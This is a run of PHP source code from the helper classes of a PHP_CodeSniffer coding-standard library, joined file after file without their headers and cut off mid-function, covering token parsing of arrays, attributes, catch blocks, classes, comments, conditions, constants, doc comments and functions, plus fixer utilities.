$this->pointerStart; } public function isUnpacking(): bool { return $this->unpacking; } private function addValues(File $phpcsFile): void { $key = ''; $tokens = $phpcsFile->getTokens(); $firstNonWhitespace = null; for ($i = $this->pointerStart; $i <= $this->pointerEnd; $i++) { $token = $tokens[$i]; if (in_array($token['code'], TokenHelper::ARRAY_TOKEN_CODES, true)) { $i = ArrayHelper::openClosePointers($token)[1]; continue; } if ($token['code'] === T_DOUBLE_ARROW) { if (current(array_reverse($token['conditions'])) === T_CLOSURE) { continue; } $this->pointerArrow = $i; continue; } if ($token['code'] === T_COMMA) { $this->pointerComma = $i; continue; } if ($token['code'] === T_ELLIPSIS) { $this->unpacking = true; continue; } if ($this->pointerArrow !== null) { continue; } if ($firstNonWhitespace === null && $token['code'] !== T_WHITESPACE) { $firstNonWhitespace = $i; } if (in_array($token['code'], TokenHelper::INLINE_COMMENT_TOKEN_CODES, true) === false) { $key .= $token['content']; } } $haveIndent = $firstNonWhitespace !== null && TokenHelper::findFirstNonWhitespaceOnLine( $phpcsFile, $firstNonWhitespace, ) === $firstNonWhitespace; $this->indent = $haveIndent ? TokenHelper::getContent( $phpcsFile, TokenHelper::findFirstTokenOnLine($phpcsFile, $firstNonWhitespace), $firstNonWhitespace - 1, ) : null; $this->key = $this->pointerArrow !== null ? trim($key) : null; } } attributePointer = $attributePointer; $this->name = $name; $this->fullyQualifiedName = $fullyQualifiedName; $this->startPointer = $startPointer; $this->endPointer = $endPointer; $this->content = $content; } public function getAttributePointer(): int { return $this->attributePointer; } public function getName(): string { return $this->name; } public function getFullyQualifiedName(): string { return $this->fullyQualifiedName; } public function getStartPointer(): int { return $this->startPointer; } public function getEndPointer(): int { return $this->endPointer; } public function getContent(): ?string { return $this->content; } } $name->getFullyQualifiedName(), self::getAttributes($phpcsFile, $pointer), ); return in_array($attributeName, $attributeNames, true); } /** * @return list */ public static function getAttributes(File $phpcsFile, int $pointer): array { $tokens = $phpcsFile->getTokens(); if ($tokens[$pointer]['code'] !== T_ATTRIBUTE) { $attributeOpenerPointer = null; do { $attributeEndPointerCandidate = TokenHelper::findPrevious( $phpcsFile, [T_ATTRIBUTE_END, T_SEMICOLON, T_CLOSE_CURLY_BRACKET, T_OPEN_CURLY_BRACKET], $attributeOpenerPointer ?? $pointer - 1, ); if ( $attributeEndPointerCandidate === null || $tokens[$attributeEndPointerCandidate]['code'] !== T_ATTRIBUTE_END ) { break; } $attributeOpenerPointer = $tokens[$attributeEndPointerCandidate]['attribute_opener']; } while (true); if ($attributeOpenerPointer === null) { return []; } } else { $attributeOpenerPointer = $pointer; } $attributeCloserPointer = $tokens[$attributeOpenerPointer]['attribute_closer']; $actualPointer = $attributeOpenerPointer; $attributes = []; do { $attributeNameStartPointer = TokenHelper::findNextEffective($phpcsFile, $actualPointer + 1, $attributeCloserPointer); if ($attributeNameStartPointer === null) { break; } $attributeNameEndPointer = TokenHelper::findNextExcluding( $phpcsFile, TokenHelper::NAME_TOKEN_CODES, $attributeNameStartPointer + 1, ) - 1; $attributeName = TokenHelper::getContent($phpcsFile, $attributeNameStartPointer, $attributeNameEndPointer); $pointerAfterAttributeName = TokenHelper::findNextEffective($phpcsFile, $attributeNameEndPointer + 1, $attributeCloserPointer); if ($pointerAfterAttributeName === null) { $attributes[] = new Attribute( $attributeOpenerPointer, $attributeName, NamespaceHelper::resolveClassName($phpcsFile, $attributeName, $attributeOpenerPointer), $attributeNameStartPointer, $attributeNameEndPointer, ); break; } if ($tokens[$pointerAfterAttributeName]['code'] === T_COMMA) { $attributes[] = new Attribute( $attributeOpenerPointer, $attributeName, NamespaceHelper::resolveClassName($phpcsFile, $attributeName, $attributeOpenerPointer), $attributeNameStartPointer, $attributeNameEndPointer, ); $actualPointer = $pointerAfterAttributeName; } if ($tokens[$pointerAfterAttributeName]['code'] === T_OPEN_PARENTHESIS) { $attributes[] = new Attribute( $attributeOpenerPointer, $attributeName, NamespaceHelper::resolveClassName($phpcsFile, $attributeName, $attributeOpenerPointer), $attributeNameStartPointer, $tokens[$pointerAfterAttributeName]['parenthesis_closer'], TokenHelper::getContent( $phpcsFile, $pointerAfterAttributeName, $tokens[$pointerAfterAttributeName]['parenthesis_closer'], ), ); $actualPointer = TokenHelper::findNextEffective( $phpcsFile, $tokens[$pointerAfterAttributeName]['parenthesis_closer'] + 1, $attributeCloserPointer, ); continue; } } while ($actualPointer !== null); return $attributes; } /** * Attributes have syntax that when defined incorrectly or in older PHP version, they are treated as comments. * An example of incorrect declaration is variables that are not properties. */ public static function isValidAttribute(File $phpcsFile, int $attributeOpenerPointer): bool { return self::getAttributeTarget($phpcsFile, $attributeOpenerPointer) !== null; } public static function getAttributeTarget(File $phpcsFile, int $attributeOpenerPointer): ?int { $attributeTargetPointer = TokenHelper::findNext($phpcsFile, self::ATTRIBUTE_TARGETS, $attributeOpenerPointer); if ($attributeTargetPointer === null) { return null; } if ( $phpcsFile->getTokens()[$attributeTargetPointer]['code'] === T_VARIABLE && !PropertyHelper::isProperty($phpcsFile, $attributeTargetPointer) && !ParameterHelper::isParameter($phpcsFile, $attributeTargetPointer) ) { return null; } return $attributeTargetPointer; } } getTokens(); $endPointer = $tokens[$catchPointer]['scope_closer']; do { $nextPointer = TokenHelper::findNextEffective($phpcsFile, $endPointer + 1); if ($nextPointer === null || !in_array($tokens[$nextPointer]['code'], [T_CATCH, T_FINALLY], true)) { break; } $endPointer = $tokens[$nextPointer]['scope_closer']; } while (true); return $endPointer; } /** * @param array|int|string> $catchToken * @return list */ public static function findCaughtTypesInCatch(File $phpcsFile, array $catchToken): array { /** @var int $catchParenthesisOpenerPointer */ $catchParenthesisOpenerPointer = $catchToken['parenthesis_opener']; /** @var int $catchParenthesisCloserPointer */ $catchParenthesisCloserPointer = $catchToken['parenthesis_closer']; $nameEndPointer = $catchParenthesisOpenerPointer; $tokens = $phpcsFile->getTokens(); $caughtTypes = []; do { $nameStartPointer = TokenHelper::findNext( $phpcsFile, [T_BITWISE_OR, ...TokenHelper::NAME_TOKEN_CODES], $nameEndPointer + 1, $catchParenthesisCloserPointer, ); if ($nameStartPointer === null) { break; } if ($tokens[$nameStartPointer]['code'] === T_BITWISE_OR) { /** @var int $nameStartPointer */ $nameStartPointer = TokenHelper::findNextEffective($phpcsFile, $nameStartPointer + 1, $catchParenthesisCloserPointer); } $pointerAfterNameEndPointer = TokenHelper::findNextExcluding($phpcsFile, TokenHelper::NAME_TOKEN_CODES, $nameStartPointer + 1); $nameEndPointer = $pointerAfterNameEndPointer === null ? $nameStartPointer : $pointerAfterNameEndPointer - 1; $caughtTypes[] = NamespaceHelper::resolveClassName( $phpcsFile, TokenHelper::getContent($phpcsFile, $nameStartPointer, $nameEndPointer), $catchParenthesisOpenerPointer, ); } while (true); return $caughtTypes; } } getTokens(); $classPointers = array_reverse(self::getAllClassPointers($phpcsFile)); foreach ($classPointers as $classPointer) { if ($tokens[$classPointer]['scope_opener'] < $pointer && $tokens[$classPointer]['scope_closer'] > $pointer) { return $classPointer; } } return null; } public static function isFinal(File $phpcsFile, int $classPointer): bool { return $phpcsFile->getTokens()[TokenHelper::findPreviousEffective($phpcsFile, $classPointer - 1)]['code'] === T_FINAL; } public static function getFullyQualifiedName(File $phpcsFile, int $classPointer): string { $className = self::getName($phpcsFile, $classPointer); $tokens = $phpcsFile->getTokens(); if ($tokens[$classPointer]['code'] === T_ANON_CLASS) { return $className; } $name = sprintf('%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $className); $namespace = NamespaceHelper::findCurrentNamespaceName($phpcsFile, $classPointer); return $namespace !== null ? sprintf('%s%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $namespace, $name) : $name; } public static function getName(File $phpcsFile, int $classPointer): string { $tokens = $phpcsFile->getTokens(); if ($tokens[$classPointer]['code'] === T_ANON_CLASS) { return 'class@anonymous'; } return $tokens[TokenHelper::findNext($phpcsFile, T_STRING, $classPointer + 1, $tokens[$classPointer]['scope_opener'])]['content']; } /** * @return array */ public static function getAllNames(File $phpcsFile): array { $tokens = $phpcsFile->getTokens(); $names = []; /** @var int $classPointer */ foreach (self::getAllClassPointers($phpcsFile) as $classPointer) { if ($tokens[$classPointer]['code'] === T_ANON_CLASS) { continue; } $names[$classPointer] = self::getName($phpcsFile, $classPointer); } return $names; } /** * @return list */ public static function getTraitUsePointers(File $phpcsFile, int $classPointer): array { $useStatements = []; $tokens = $phpcsFile->getTokens(); $scopeLevel = $tokens[$classPointer]['level'] + 1; for ($i = $tokens[$classPointer]['scope_opener'] + 1; $i < $tokens[$classPointer]['scope_closer']; $i++) { if ($tokens[$i]['code'] !== T_USE) { continue; } if ($tokens[$i]['level'] !== $scopeLevel) { continue; } $useStatements[] = $i; } return $useStatements; } /** * @return list */ private static function getAllClassPointers(File $phpcsFile): array { $lazyValue = static fn (): array => TokenHelper::findNextAll( $phpcsFile, TokenHelper::CLASS_TYPE_WITH_ANONYMOUS_CLASS_TOKEN_CODES, 0, ); return SniffLocalCache::getAndSetIfNotCached($phpcsFile, 'classPointers', $lazyValue); } } pointer = $pointer; $this->content = $content; } public function getPointer(): int { return $this->pointer; } public function getContent(): string { return $this->content; } } getTokens()[$commentPointer]['content']); } public static function getCommentEndPointer(File $phpcsFile, int $commentStartPointer): ?int { $tokens = $phpcsFile->getTokens(); if (array_key_exists('comment_closer', $tokens[$commentStartPointer])) { return $tokens[$commentStartPointer]['comment_closer']; } if (self::isLineComment($phpcsFile, $commentStartPointer)) { return $commentStartPointer; } if (strpos($tokens[$commentStartPointer]['content'], '/*') !== 0) { // Part of block comment return null; } $commentEndPointer = $commentStartPointer; for ($i = $commentStartPointer + 1; $i < $phpcsFile->numTokens; $i++) { if ($tokens[$i]['code'] === T_COMMENT) { $commentEndPointer = $i; continue; } if (in_array($tokens[$i]['code'], Tokens::$phpcsCommentTokens, true)) { $commentEndPointer = $i; continue; } break; } return $commentEndPointer; } public static function getMultilineCommentStartPointer(File $phpcsFile, int $commentEndPointer): int { $tokens = $phpcsFile->getTokens(); $commentStartPointer = $commentEndPointer; do { $commentBefore = TokenHelper::findPrevious($phpcsFile, TokenHelper::INLINE_COMMENT_TOKEN_CODES, $commentStartPointer - 1); if ($commentBefore === null) { break; } if ($tokens[$commentBefore]['line'] + 1 !== $tokens[$commentStartPointer]['line']) { break; } /** @var int $commentStartPointer */ $commentStartPointer = $commentBefore; } while (true); return $commentStartPointer; } public static function getMultilineCommentEndPointer(File $phpcsFile, int $commentStartPointer): int { $tokens = $phpcsFile->getTokens(); $commentEndPointer = $commentStartPointer; do { $commentAfter = TokenHelper::findNext($phpcsFile, TokenHelper::INLINE_COMMENT_TOKEN_CODES, $commentEndPointer + 1); if ($commentAfter === null) { break; } if ($tokens[$commentAfter]['line'] - 1 !== $tokens[$commentEndPointer]['line']) { break; } /** @var int $commentEndPointer */ $commentEndPointer = $commentAfter; } while (true); return $commentEndPointer; } } getTokens(); $conditionContent = strtolower( trim(TokenHelper::getContent($phpcsFile, $conditionBoundaryStartPointer, $conditionBoundaryEndPointer)), ); if ($conditionContent === 'false' || $conditionContent === 'true') { return true; } $actualPointer = $conditionBoundaryStartPointer; do { $actualPointer = TokenHelper::findNext( $phpcsFile, array_merge( [T_OPEN_PARENTHESIS, T_LESS_THAN, T_GREATER_THAN], Tokens::$booleanOperators, Tokens::$equalityTokens, ), $actualPointer, $conditionBoundaryEndPointer + 1, ); if ($actualPointer === null) { break; } if ($tokens[$actualPointer]['code'] === T_OPEN_PARENTHESIS) { $actualPointer = $tokens[$actualPointer]['parenthesis_closer']; continue; } return true; } while (true); return false; } public static function getNegativeCondition( File $phpcsFile, int $conditionBoundaryStartPointer, int $conditionBoundaryEndPointer, bool $nested = false ): string { /** @var int $conditionStartPointer */ $conditionStartPointer = TokenHelper::findNextEffective($phpcsFile, $conditionBoundaryStartPointer); /** @var int $conditionEndPointer */ $conditionEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $conditionBoundaryEndPointer); $tokens = $phpcsFile->getTokens(); if ( $tokens[$conditionStartPointer]['code'] === T_OPEN_PARENTHESIS && $tokens[$conditionStartPointer]['parenthesis_closer'] === $conditionEndPointer ) { /** @var int $conditionStartPointer */ $conditionStartPointer = TokenHelper::findNextEffective($phpcsFile, $conditionStartPointer + 1); /** @var int $conditionEndPointer */ $conditionEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $conditionEndPointer - 1); } return sprintf( '%s%s%s', $conditionBoundaryStartPointer !== $conditionStartPointer ? TokenHelper::getContent( $phpcsFile, $conditionBoundaryStartPointer, $conditionStartPointer - 1, ) : '', self::getNegativeConditionPart($phpcsFile, $conditionStartPointer, $conditionEndPointer, $nested), $conditionBoundaryEndPointer !== $conditionEndPointer ? TokenHelper::getContent( $phpcsFile, $conditionEndPointer + 1, $conditionBoundaryEndPointer, ) : '', ); } private static function getNegativeConditionPart( File $phpcsFile, int $conditionBoundaryStartPointer, int $conditionBoundaryEndPointer, bool $nested ): string { $tokens = $phpcsFile->getTokens(); $condition = TokenHelper::getContent($phpcsFile, $conditionBoundaryStartPointer, $conditionBoundaryEndPointer); if (strtolower($condition) === 'true') { return 'false'; } if (strtolower($condition) === 'false') { return 'true'; } $pointerAfterConditionStart = TokenHelper::findNextEffective($phpcsFile, $conditionBoundaryStartPointer); $booleanPointers = TokenHelper::findNextAll( $phpcsFile, Tokens::$booleanOperators, $conditionBoundaryStartPointer, $conditionBoundaryEndPointer + 1, ); if ($tokens[$pointerAfterConditionStart]['code'] === T_BOOLEAN_NOT) { $pointerAfterBooleanNot = TokenHelper::findNextEffective($phpcsFile, $pointerAfterConditionStart + 1); if ($tokens[$pointerAfterBooleanNot]['code'] === T_OPEN_PARENTHESIS) { if ($nested && $booleanPointers !== []) { return self::removeBooleanNot($condition); } $pointerAfterParenthesisCloser = TokenHelper::findNextEffective( $phpcsFile, $tokens[$pointerAfterBooleanNot]['parenthesis_closer'] + 1, $conditionBoundaryEndPointer + 1, ); if ( $pointerAfterParenthesisCloser === null || $pointerAfterParenthesisCloser === $conditionBoundaryEndPointer ) { return TokenHelper::getContent( $phpcsFile, $pointerAfterBooleanNot + 1, $tokens[$pointerAfterBooleanNot]['parenthesis_closer'] - 1, ); } } } if (count($booleanPointers) > 0) { return self::getNegativeLogicalCondition($phpcsFile, $conditionBoundaryStartPointer, $conditionBoundaryEndPointer); } if ($tokens[$pointerAfterConditionStart]['code'] === T_BOOLEAN_NOT) { return self::removeBooleanNot($condition); } if (TokenHelper::findNext( $phpcsFile, [T_INSTANCEOF, T_BITWISE_AND, T_COALESCE, T_INLINE_THEN], $conditionBoundaryStartPointer, $conditionBoundaryEndPointer + 1, ) !== null) { return sprintf('!(%s)', $condition); } if ($tokens[$pointerAfterConditionStart]['code'] === T_STRING) { $pointerAfterConditionStart = TokenHelper::findNextEffective($phpcsFile, $pointerAfterConditionStart + 1); if ( $tokens[$pointerAfterConditionStart]['code'] === T_OPEN_PARENTHESIS && $tokens[$pointerAfterConditionStart]['parenthesis_closer'] === $conditionBoundaryEndPointer ) { return sprintf('!%s', $condition); } } if (in_array($tokens[$pointerAfterConditionStart]['code'], [T_VARIABLE, T_SELF, T_STATIC, T_PARENT], true)) { $identificatorEndPointer = IdentificatorHelper::findEndPointer($phpcsFile, $pointerAfterConditionStart); $pointerAfterIdentificatorEnd = TokenHelper::findNextEffective($phpcsFile, $identificatorEndPointer + 1); if ( $tokens[$pointerAfterIdentificatorEnd]['code'] === T_OPEN_PARENTHESIS && $tokens[$pointerAfterIdentificatorEnd]['parenthesis_closer'] === $conditionBoundaryEndPointer ) { return sprintf('!%s', $condition); } } $comparisonPointer = TokenHelper::findNext( $phpcsFile, [T_IS_EQUAL, T_IS_NOT_EQUAL, T_IS_IDENTICAL, T_IS_NOT_IDENTICAL, T_IS_SMALLER_OR_EQUAL, T_IS_GREATER_OR_EQUAL, T_LESS_THAN, T_GREATER_THAN], $conditionBoundaryStartPointer, $conditionBoundaryEndPointer + 1, ); if ($comparisonPointer !== null) { $comparisonReplacements = [ T_IS_EQUAL => '!=', T_IS_NOT_EQUAL => '==', T_IS_IDENTICAL => '!==', T_IS_NOT_IDENTICAL => '===', T_IS_GREATER_OR_EQUAL => '<', T_IS_SMALLER_OR_EQUAL => '>', T_GREATER_THAN => '<=', T_LESS_THAN => '>=', ]; $negativeCondition = ''; for ($i = $conditionBoundaryStartPointer; $i <= $conditionBoundaryEndPointer; $i++) { // Skip calls() if ($tokens[$i]['code'] === T_OPEN_PARENTHESIS) { $negativeCondition .= TokenHelper::getContent($phpcsFile, $i, $tokens[$i]['parenthesis_closer']); $i = $tokens[$i]['parenthesis_closer']; continue; } $negativeCondition .= array_key_exists($tokens[$i]['code'], $comparisonReplacements) ? $comparisonReplacements[$tokens[$i]['code']] : $tokens[$i]['content']; } return $negativeCondition; } return sprintf('!%s', $condition); } private static function removeBooleanNot(string $condition): string { return preg_replace('~^!\\s*~', '', $condition); } private static function getNegativeLogicalCondition( File $phpcsFile, int $conditionBoundaryStartPointer, int $conditionBoundaryEndPointer ): string { if (TokenHelper::findNext($phpcsFile, T_LOGICAL_XOR, $conditionBoundaryStartPointer, $conditionBoundaryEndPointer) !== null) { return sprintf('!(%s)', TokenHelper::getContent($phpcsFile, $conditionBoundaryStartPointer, $conditionBoundaryEndPointer)); } $tokens = $phpcsFile->getTokens(); $booleanOperatorReplacements = [ T_BOOLEAN_AND => '||', T_BOOLEAN_OR => '&&', T_LOGICAL_AND => 'or', T_LOGICAL_OR => 'and', ]; $negativeCondition = ''; $nestedConditionStartPointer = $conditionBoundaryStartPointer; $actualPointer = $conditionBoundaryStartPointer; $parenthesesLevel = 0; $operatorsOnLevel = []; do { $actualPointer = TokenHelper::findNext( $phpcsFile, array_merge([T_OPEN_PARENTHESIS, T_CLOSE_PARENTHESIS], Tokens::$booleanOperators), $actualPointer, $conditionBoundaryEndPointer + 1, ); if ($actualPointer === null) { break; } if ($tokens[$actualPointer]['code'] === T_OPEN_PARENTHESIS) { $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $actualPointer - 1); if ($tokens[$pointerBeforeParenthesisOpener]['code'] === T_STRING) { $actualPointer = $tokens[$actualPointer]['parenthesis_closer'] + 1; continue; } $parenthesesLevel++; $actualPointer++; continue; } if ($tokens[$actualPointer]['code'] === T_CLOSE_PARENTHESIS) { $parenthesesLevel--; $actualPointer++; continue; } if ($parenthesesLevel !== 0) { $actualPointer++; continue; } if ( array_key_exists($parenthesesLevel, $operatorsOnLevel) && $operatorsOnLevel[$parenthesesLevel] !== $tokens[$actualPointer]['code'] ) { return sprintf('!(%s)', TokenHelper::getContent($phpcsFile, $conditionBoundaryStartPointer, $conditionBoundaryEndPointer)); } $operatorsOnLevel[$parenthesesLevel] = $tokens[$actualPointer]['code']; $negativeCondition .= self::getNegativeCondition($phpcsFile, $nestedConditionStartPointer, $actualPointer - 1, true); $negativeCondition .= $booleanOperatorReplacements[$tokens[$actualPointer]['code']]; $nestedConditionStartPointer = $actualPointer + 1; $actualPointer++; } while (true); return $negativeCondition . self::getNegativeCondition( $phpcsFile, $nestedConditionStartPointer, $conditionBoundaryEndPointer, true, ); } } getTokens(); return $tokens[TokenHelper::findNext($phpcsFile, T_STRING, $constantPointer + 1)]['content']; } public static function getFullyQualifiedName(File $phpcsFile, int $constantPointer): string { $name = self::getName($phpcsFile, $constantPointer); $namespace = NamespaceHelper::findCurrentNamespaceName($phpcsFile, $constantPointer); return $namespace !== null ? sprintf('%s%s%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $namespace, NamespaceHelper::NAMESPACE_SEPARATOR, $name) : $name; } /** * @return list */ public static function getAllNames(File $phpcsFile): array { $previousConstantPointer = 0; return array_map( static fn (int $constantPointer): string => self::getName($phpcsFile, $constantPointer), array_values(array_filter( iterator_to_array(self::getAllConstantPointers($phpcsFile, $previousConstantPointer)), static function (int $constantPointer) use ($phpcsFile): bool { foreach (array_reverse($phpcsFile->getTokens()[$constantPointer]['conditions']) as $conditionTokenCode) { return $conditionTokenCode === T_NAMESPACE; } return true; }, )), ); } /** * @return Generator */ private static function getAllConstantPointers(File $phpcsFile, int &$previousConstantPointer): Generator { do { $nextConstantPointer = TokenHelper::findNext($phpcsFile, T_CONST, $previousConstantPointer + 1); if ($nextConstantPointer === null) { break; } $previousConstantPointer = $nextConstantPointer; yield $nextConstantPointer; } while (true); } } getTokens()[$docCommentOpenToken]['comment_closer'], ), ); } /** * @return list|null */ public static function getDocCommentDescription(File $phpcsFile, int $pointer): ?array { $docCommentOpenPointer = self::findDocCommentOpenPointer($phpcsFile, $pointer); if ($docCommentOpenPointer === null) { return null; } $tokens = $phpcsFile->getTokens(); $descriptionStartPointer = TokenHelper::findNextExcluding( $phpcsFile, [T_DOC_COMMENT_WHITESPACE, T_DOC_COMMENT_STAR], $docCommentOpenPointer + 1, $tokens[$docCommentOpenPointer]['comment_closer'], ); if ($descriptionStartPointer === null) { return null; } if ($tokens[$descriptionStartPointer]['code'] !== T_DOC_COMMENT_STRING) { return null; } $tokenAfterDescriptionPointer = TokenHelper::findNext( $phpcsFile, [T_DOC_COMMENT_TAG, T_DOC_COMMENT_CLOSE_TAG], $descriptionStartPointer + 1, $tokens[$docCommentOpenPointer]['comment_closer'] + 1, ); /** @var list $comments */ $comments = []; for ($i = $descriptionStartPointer; $i < $tokenAfterDescriptionPointer; $i++) { if ($tokens[$i]['code'] !== T_DOC_COMMENT_STRING) { continue; } $comments[] = new Comment($i, trim($tokens[$i]['content'])); } return count($comments) > 0 ? $comments : null; } public static function hasInheritdocAnnotation(File $phpcsFile, int $pointer): bool { $docCommentOpenPointer = self::findDocCommentOpenPointer($phpcsFile, $pointer); if ($docCommentOpenPointer === null) { return false; } $parsedDocComment = self::parseDocComment($phpcsFile, $docCommentOpenPointer); if ($parsedDocComment === null) { return false; } foreach ($parsedDocComment->getNode()->children as $child) { if ($child instanceof PhpDocTagNode) { if (strtolower($child->name) === '@inheritdoc') { return true; } if (stripos((string) $child->value, '{@inheritdoc}') !== false) { return true; } } if ($child instanceof PhpDocTextNode && stripos($child->text, '{@inheritdoc}') !== false) { return true; } } return false; } public static function hasDocCommentDescription(File $phpcsFile, int $pointer): bool { return self::getDocCommentDescription($phpcsFile, $pointer) !== null; } public static function findDocCommentOpenPointer(File $phpcsFile, int $pointer): ?int { return SniffLocalCache::getAndSetIfNotCached( $phpcsFile, sprintf('doc-comment-open-pointer-%d', $pointer), static function () use ($phpcsFile, $pointer): ?int { $tokens = $phpcsFile->getTokens(); if ($tokens[$pointer]['code'] === T_DOC_COMMENT_OPEN_TAG) { return $pointer; } $found = TokenHelper::findPrevious( $phpcsFile, [T_DOC_COMMENT_CLOSE_TAG, T_SEMICOLON, T_CLOSE_CURLY_BRACKET, T_OPEN_CURLY_BRACKET], $pointer - 1, ); if ($found !== null && $tokens[$found]['code'] === T_DOC_COMMENT_CLOSE_TAG) { return $tokens[$found]['comment_opener']; } return null; }, ); } public static function findDocCommentOwnerPointer(File $phpcsFile, int $docCommentOpenPointer): ?int { $tokens = $phpcsFile->getTokens(); $docCommentCloserPointer = $tokens[$docCommentOpenPointer]['comment_closer']; if (self::isInline($phpcsFile, $docCommentOpenPointer)) { return null; } $docCommentOwnerPointer = null; for ($i = $docCommentCloserPointer + 1; $i < count($tokens); $i++) { if ($tokens[$i]['code'] === T_ATTRIBUTE) { $i = $tokens[$i]['attribute_closer']; continue; } if (in_array( $tokens[$i]['code'], [T_PUBLIC, T_PROTECTED, T_PRIVATE, T_VAR, T_READONLY, T_FINAL, T_STATIC, T_ABSTRACT, T_WHITESPACE], true, )) { continue; } if (in_array( $tokens[$i]['code'], [T_FUNCTION, T_VARIABLE, T_CONST, ...TokenHelper::CLASS_TYPE_TOKEN_CODES], true, )) { $docCommentOwnerPointer = $i; } break; } return $docCommentOwnerPointer; } public static function isInline(File $phpcsFile, int $docCommentOpenPointer): bool { $tokens = $phpcsFile->getTokens(); $nextPointer = TokenHelper::findNextNonWhitespace($phpcsFile, $tokens[$docCommentOpenPointer]['comment_closer'] + 1); if ( $nextPointer !== null && in_array( $tokens[$nextPointer]['code'], [T_PUBLIC, T_PROTECTED, T_PRIVATE, T_READONLY, T_FINAL, T_STATIC, T_ABSTRACT, T_CONST, T_CLASS, T_INTERFACE, T_TRAIT, T_ENUM, T_ATTRIBUTE], true, ) ) { return false; } $parsedDocComment = self::parseDocComment($phpcsFile, $docCommentOpenPointer); if ($parsedDocComment === null) { return false; } foreach ($parsedDocComment->getNode()->getTags() as $annotation) { if (preg_match('~^@(?:(?:phpstan|psalm)-)?var~i', $annotation->name) === 1) { return true; } } return false; } public static function parseDocComment(File $phpcsFile, int $docCommentOpenPointer): ?ParsedDocComment { return SniffLocalCache::getAndSetIfNotCached( $phpcsFile, sprintf('parsed-doc-comment-%d', $docCommentOpenPointer), static function () use ($phpcsFile, $docCommentOpenPointer): ?ParsedDocComment { $docComment = self::getDocComment($phpcsFile, $docCommentOpenPointer); $docCommentTokens = new TokenIterator(PhpDocParserHelper::getLexer()->tokenize($docComment)); try { $parsedDocComment = PhpDocParserHelper::getParser()->parse($docCommentTokens); return new ParsedDocComment( $docCommentOpenPointer, $phpcsFile->getTokens()[$docCommentOpenPointer]['comment_closer'], $parsedDocComment, $docCommentTokens, ); } catch (ParserException $e) { return null; } }, ); } } filename = $filename; } public function getFilename(): string { return $this->filename; } } fixer->addContent($pointer, IndentationHelper::convertSpacesToTabs($phpcsFile, $content)); } public static function addBefore(File $phpcsFile, int $pointer, string $content): void { $phpcsFile->fixer->addContentBefore($pointer, IndentationHelper::convertSpacesToTabs($phpcsFile, $content)); } public static function replace(File $phpcsFile, int $pointer, string $content): void { $phpcsFile->fixer->replaceToken($pointer, IndentationHelper::convertSpacesToTabs($phpcsFile, $content)); } public static function change(File $phpcsFile, int $startPointer, int $endPointer, string $content): void { self::removeBetweenIncluding($phpcsFile, $startPointer, $endPointer); self::replace($phpcsFile, $startPointer, $content); } public static function removeBetween(File $phpcsFile, int $startPointer, int $endPointer): void { self::removeBetweenIncluding($phpcsFile, $startPointer + 1, $endPointer - 1); } public static function removeBetweenIncluding(File $phpcsFile, int $startPointer, int $endPointer): void { for ($i = $startPointer; $i <= $endPointer; $i++) { $phpcsFile->fixer->replaceToken($i, ''); } } public static function removeWhitespaceBefore(File $phpcsFile, int $pointer): void { for ($i = $pointer - 1; $i > 0; $i--) { if (preg_match('~^\\s+$~', $phpcsFile->fixer->getTokenContent($i)) === 0) { break; } $phpcsFile->fixer->replaceToken($i, ''); } } public static function removeWhitespaceAfter(File $phpcsFile, int $pointer): void { for ($i = $pointer + 1; $i < count($phpcsFile->getTokens()); $i++) { if (preg_match('~^\\s+$~', $phpcsFile->fixer->getTokenContent($i)) === 0) { break; } self::replace($phpcsFile, $i, ''); } } } getTokens(); return $tokens[TokenHelper::findNext( $phpcsFile, T_STRING, $functionPointer + 1, $tokens[$functionPointer]['parenthesis_opener'], )]['content']; } public static function getFullyQualifiedName(File $phpcsFile, int $functionPointer): string { $name = self::getName($phpcsFile, $functionPointer); $namespace = NamespaceHelper::findCurrentNamespaceName($phpcsFile, $functionPointer); if (self::isMethod($phpcsFile, $functionPointer)) { foreach (array_reverse( $phpcsFile->getTokens()[$functionPointer]['conditions'], true, ) as $conditionPointer => $conditionTokenCode) { if ($conditionTokenCode === T_ANON_CLASS) { return sprintf('class@anonymous::%s', $name); } if (in_array($conditionTokenCode, [T_CLASS, T_INTERFACE, T_TRAIT, T_ENUM], true)) { $name = sprintf( '%s%s::%s', NamespaceHelper::NAMESPACE_SEPARATOR, ClassHelper::getName($phpcsFile, $conditionPointer), $name, ); break; } } return $namespace !== null ? sprintf('%s%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $namespace, $name) : $name; } return $namespace !== null ? sprintf('%s%s%s%s', NamespaceHelper::NAMESPACE_SEPARATOR, $namespace, NamespaceHelper::NAMESPACE_SEPARATOR, $name) : $name; } public static function isAbstract(File $phpcsFile, int $functionPointer): bool { return !isset($phpcsFile->getTokens()[$functionPointer]['scope_opener']); } public static function isMethod(File $phpcsFile, int $functionPointer): bool { $functionPointerConditions = $phpcsFile->getTokens()[$functionPointer]['conditions']; if ($functionPointerConditions === []) { return false; } $lastFunctionPointerCondition = array_pop($functionPointerConditions); return in_array($lastFunctionPointerCondition, Tokens::$ooScopeTokens, true); } public static function findClassPointer(File $phpcsFile, int $functionPointer): ?int { $tokens = $phpcsFile->getTokens(); if ($tokens[$functionPointer]['code'] === T_CLOSURE) { return null; } foreach (array_reverse($tokens[$functionPointer]['conditions'], true) as $conditionPointer => $conditionTokenCode) { if (!in_array($conditionTokenCode, Tokens::$ooScopeTokens, true)) { continue; } return $conditionPointer; } return null; } /** * @return list */ public static function getParametersNames(File $phpcsFile, int $functionPointer): array { $tokens = $phpcsFile->getTokens(); $parametersNames = []; for ($i = $tokens[$functionPointer]['parenthesis_opener'] + 1; $i < $tokens[$functionPointer]['parenthesis_closer']; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } $parametersNames[] = $tokens[$i]['content']; } return $parametersNames; } /** * @return array */ public static function getParametersTypeHints(File $phpcsFile, int $functionPointer): array { $tokens = $phpcsFile->getTokens(); $parametersTypeHints = []; for ($i = $tokens[$functionPointer]['parenthesis_opener'] + 1; $i < $tokens[$functionPointer]['parenthesis_closer']; $i++) { if ($tokens[$i]['code'] !== T_VARIABLE) { continue; } $parameterName = $tokens[$i]['content']; $pointerBeforeVariable = TokenHelper::findPreviousExcluding( $phpcsFile, [...TokenHelper::INEFFECTIVE_TOKEN_CODES, T_BITWISE_AND, T_ELLIPSIS], $i - 1, ); if 